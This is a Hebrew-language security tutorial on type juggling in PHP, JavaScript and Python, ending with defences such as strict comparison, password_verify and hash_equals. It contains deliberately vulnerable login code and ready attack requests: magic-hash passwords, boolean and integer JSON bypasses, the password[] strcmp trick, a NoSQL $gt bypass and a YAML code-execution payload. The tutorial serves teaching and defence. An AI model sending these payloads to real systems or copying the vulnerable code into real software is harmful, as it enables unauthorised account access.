לדלג לתוכן

בלבול טיפוסים - Type Juggling

מהו בלבול טיפוסים

בלבול טיפוסים (Type Juggling) הוא exploit ההתנהגות של שפות תכנות שמבצעות המרת טיפוסים אוטומטית בזמן השוואה או פעולות חשבוניות. הבעיה הבולטת ביותר היא ב-PHP, אבל קיימת גם ב-JavaScript ובשפות נוספות.

כשאפליקציה משתמשת בהשוואה רופפת (loose comparison) במקום השוואה מחמירה (strict comparison), תוקף יכול לשלוח קלט מטיפוס שונה שיעבור את הבדיקה בצורה בלתי צפויה.


השוואה רופפת מול מחמירה ב-PHP

ההבדל בין == ל-===

// Loose comparison - == (performs type conversion)
var_dump(0 == "password");    // true!  (string -> int = 0)
var_dump("0" == false);       // true!
var_dump("" == false);        // true!
var_dump(null == false);      // true!
var_dump("0" == null);        // false
var_dump("1" == "01");        // true!  (both -> int 1)
var_dump("1" == "1.0");       // true!
var_dump(0 == "0e12345");     // true!  (0 == 0)

// Strict comparison - === (also checks the type)
var_dump(0 === "password");   // false
var_dump("0" === false);      // false
var_dump("1" === "01");       // false

טבלת השוואה רופפת ב-PHP

         | true  | false | 1    | 0    | -1   | "1"  | "0"  | ""   | null
---------|-------|-------|------|------|------|------|------|------|------
true     | true  | false | true | false| true | true | false| false| false
false    | false | true  | false| true | false| false| true | true | true
1        | true  | false | true | false| false| true | false| false| false
0        | false | true  | false| true | false| false| true | false*| false*
"php"    | true  | false | false| true*| false| false| false| false| false

* In PHP < 8.0 (different in PHP 8.0+!)

הערה חשובה: ב-PHP 8.0 שינו את ההתנהגות של 0 == "string" ל-false. אבל גרסאות ישנות יותר עדיין נפוצות מאוד.


האשים קסומים - Magic Hashes

מהם האשים קסומים

ב-PHP, מחרוזות שמתחילות ב-0e ואחריהן רק ספרות מפורשות כסימון מדעי (scientific notation) בהשוואה רופפת:

"0e462097431906509019562988736854" == "0"  // true!
// because PHP interprets "0e..." as 0 * 10^462... = 0
// and "0" = 0
// so 0 == 0 -> true

דוגמאות של magic hashes

ערכים שה-MD5 שלהם מתחיל ב-0e ואחריו רק ספרות:

MD5 Magic Hashes:
=================
String:  "240610708"
MD5:     "0e462097431906509019562988736854"

String:  "QNKCDZO"
MD5:     "0e830400451993494058024219903391"

String:  "aabg7XSs"
MD5:     "0e087386482136013740957780965295"

SHA1 Magic Hashes:
==================
String:  "aaroZmOk"
SHA1:    "0e66507019969427134894567494305185566735"

String:  "aaK1STfY"
SHA1:    "0e76658526655756207688271159624026011393"

הexploit בעיסקה - Exploitation

קוד אימות פגיע:

// Vulnerable - loose comparison of a hash
function verifyPassword($input, $storedHash) {
    $inputHash = md5($input);
    if ($inputHash == $storedHash) {
        return true;  // authenticated!
    }
    return false;
}

// Scenario:
// The victim's password: "240610708"
// hash: "0e462097431906509019562988736854"
//
// The attacker sends: "QNKCDZO"
// hash: "0e830400451993494058024219903391"
//
// "0e462..." == "0e830..." -> 0 == 0 -> true!
// The attacker logs in with the wrong password!

הbypass אימות באמצעות מניפולציית טיפוסים ב-JSON

שליחת true במקום סיסמה

ב-PHP, כאשר אפליקציה מקבלת JSON ומשווה עם ==:

$data = json_decode(file_get_contents('php://input'), true);

// Vulnerable!
if ($data['password'] == $storedPassword) {
    // authenticated
}

בקשה תקינה:

POST /login HTTP/1.1
Content-Type: application/json

{"username": "admin", "password": "secretpassword123"}

בקשת תקיפה:

POST /login HTTP/1.1
Content-Type: application/json

{"username": "admin", "password": true}

למה זה עובד:

true == "secretpassword123"  // true!
true == "anything"           // true!
true == ""                   // false (empty string)

ב-JSON ניתן לשלוח true כערך בוליאני (לא כמחרוזת "true"). ב-PHP, true בהשוואה רופפת שווה לכל מחרוזת לא ריקה.

שליחת 0 במקום סיסמה

POST /login HTTP/1.1
Content-Type: application/json

{"username": "admin", "password": 0}
0 == "secretpassword123"  // true in PHP < 8.0!
// because PHP converts the string to int -> 0

הbypass strcmp

הפונקציה strcmp() ב-PHP מחזירה 0 אם המחרוזות שוות, ערך שלילי או חיובי אם לא. אבל כשמעבירים לה מערך במקום מחרוזת:

// Vulnerable
if (strcmp($input, $password) == 0) {
    // authenticated
}

// If $input is an array:
strcmp([], "password")  // returns NULL + PHP Warning
NULL == 0              // true!

בקשת תקיפה:

POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin&password[]=anything

ב-PHP, שליחת password[] יוצרת מערך במקום מחרוזת. strcmp מקבלת מערך, מחזירה NULL, ו-NULL == 0 זה true.


הbypass intval ו-is_numeric

הbypass is_numeric

is_numeric("0xdeadbeef")  // true in PHP < 7.0!
is_numeric("1e5")          // true (100000)
is_numeric("  123  ")      // true (whitespace ignored)

הbypass intval

intval("1337")        // 1337
intval("1337abc")     // 1337 (ignores non-numeric characters)
intval("0x539")       // 0 (no hex support by default)
intval("0x539", 16)   // 1337

// Exploit: bypass check
if (intval($input) <= 100) {
    // "101abc" -> intval = 101, won't pass
    // but what if the value is later used as a string?
}

שימוש מעשי

// Vulnerable code - age check
$age = $_POST['age'];

if (is_numeric($age) && intval($age) >= 18) {
    // Access granted
    $query = "SELECT * FROM users WHERE age = $age";
    // if $age = "18 OR 1=1" -> intval = 18, passes the check
    // but in the query: "... WHERE age = 18 OR 1=1" -> SQLi!
}

בלבול טיפוסים ב-JavaScript

כפייה מרומזת - Type Coercion

// Loose comparison
console.log(0 == "");        // true
console.log(0 == "0");       // true
console.log("" == false);    // true
console.log([] == false);    // true
console.log(null == undefined); // true

// Arithmetic operations
console.log("5" - 3);       // 2 (string -> number)
console.log("5" + 3);       // "53" (number -> string!)
console.log(true + true);   // 2

// Surprising comparisons
console.log([] == 0);       // true
console.log([] == "");      // true
console.log({} == "[object Object]"); // false (!)

הexploit ב-Node.js

// Vulnerable code
app.post('/login', (req, res) => {
    const { username, password } = req.body;

    const user = db.findUser(username);

    // Vulnerable - loose comparison
    if (user && user.password == password) {
        createSession(user);
        return res.json({ success: true });
    }

    res.status(401).json({ error: 'Invalid credentials' });
});

ב-Express, אם שולחים JSON, password יכול להיות כל טיפוס:

POST /login HTTP/1.1
Content-Type: application/json

{"username": "admin", "password": {"$gt": ""}}

בדוגמה הזו, אם בסיס הנתונים הוא MongoDB, {"$gt": ""} הוא אופרטור NoSQL שאומר "גדול ממחרוזת ריקה" - כל סיסמה תעבור.


בלבול טיפוסים ב-Python

Python בדרך כלל מחמירה יותר, אבל יש מקרים:

# Python doesn't do type coercion in ==
0 == "0"   # False (unlike PHP)

# But in boolean comparisons:
bool(0)    # False
bool("")   # False
bool([])   # False
bool(None) # False

# Exploit - YAML deserialization
import yaml
data = yaml.load("password: !!python/object/apply:os.system ['id']")
# The "password" value turns into code execution!

# Exploit - JSON schema bypass
import json
data = json.loads('{"isAdmin": true}')
# data['isAdmin'] is True (boolean, not a string)

if data.get('isAdmin'):
    grant_admin()  # attacker sends true and gets permissions

הexploit פרקטי ב-Flask

@app.route('/verify', methods=['POST'])
def verify():
    data = request.get_json()
    token = data.get('token')
    expected = get_expected_token()

    # Vulnerable if expected is None or 0
    if token == expected:
        return jsonify({'verified': True})

    # Attack: send {"token": null}
    # if expected is None: None == None -> True
    # Attack: send {"token": 0}
    # if expected is 0 (or False): 0 == 0 -> True

דוגמה מקיפה - מערכת אימות פגיעה ב-PHP

class AuthController {
    public function login($request) {
        $username = $request->input('username');
        $password = $request->input('password');

        $user = User::where('username', $username)->first();

        if (!$user) {
            return response()->json(['error' => 'User not found'], 404);
        }

        // Vulnerability 1: loose comparison
        if (md5($password) == $user->password_hash) {
            return $this->createSession($user);
        }

        // Vulnerability 2: strcmp with ==
        if (strcmp($password, $user->api_key) == 0) {
            return $this->createSession($user);
        }

        // Vulnerability 3: token check
        $token = $request->input('reset_token');
        if ($token == $user->reset_token) {
            return $this->createSession($user);
        }

        return response()->json(['error' => 'Authentication failed'], 401);
    }
}

וקטורי תקיפה:

-- Attack 1: Magic Hash
POST /login HTTP/1.1
Content-Type: application/json

{"username": "victim", "password": "240610708"}

-- Attack 2: Array bypass on strcmp
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=victim&password[]=anything

-- Attack 3: Boolean bypass on reset_token
POST /login HTTP/1.1
Content-Type: application/json

{"username": "victim", "reset_token": true}

-- Attack 4: Integer bypass (PHP < 8.0)
POST /login HTTP/1.1
Content-Type: application/json

{"username": "victim", "password": 0}

הגנות

שימוש בהשוואה מחמירה

// Vulnerable
if ($input == $expected) { ... }

// Protected
if ($input === $expected) { ... }

המרת טיפוסים מפורשת

// Vulnerable
$quantity = $_POST['quantity'];

// Protected
$quantity = (int) $_POST['quantity'];
if ($quantity <= 0) {
    throw new InvalidArgumentException('Invalid quantity');
}

ולידציית טיפוס קלט

// Verify that the input is a string
function validateStringInput($input): string {
    if (!is_string($input)) {
        throw new InvalidArgumentException('Expected string input');
    }
    return $input;
}

// Usage
$password = validateStringInput($request->input('password'));

שימוש ב-password_verify

// Vulnerable - manual hash comparison
if (md5($password) == $storedHash) { ... }

// Protected - password_verify performs a safe comparison
if (password_verify($password, $storedHash)) { ... }

שימוש ב-hash_equals

// Vulnerable - regular comparison (also vulnerable to timing attacks)
if ($token == $expectedToken) { ... }

// Protected - safe constant-time comparison
if (hash_equals($expectedToken, $token)) { ... }

סיכום

בלבול טיפוסים הוא חולשה מסוכנת במיוחד כי הקוד נראה תקין לחלוטין. הנקודות המרכזיות:

  • ב-PHP, תמיד השתמשו ב-=== ולא ב-==
  • חפשו פונקציות כמו strcmp, intval, is_numeric שניתנות לbypass
  • ב-JSON, אפשר לשלוח טיפוסים שונים - true, 0, null, מערכים
  • ב-magic hashes, ערכי hash שמתחילים ב-0e שווים לאפס בהשוואה רופפת
  • בדקו גם JavaScript ו-Python עבור בעיות דומות
  • הגנה: השוואה מחמירה, המרת טיפוסים מפורשת, ולידציית קלט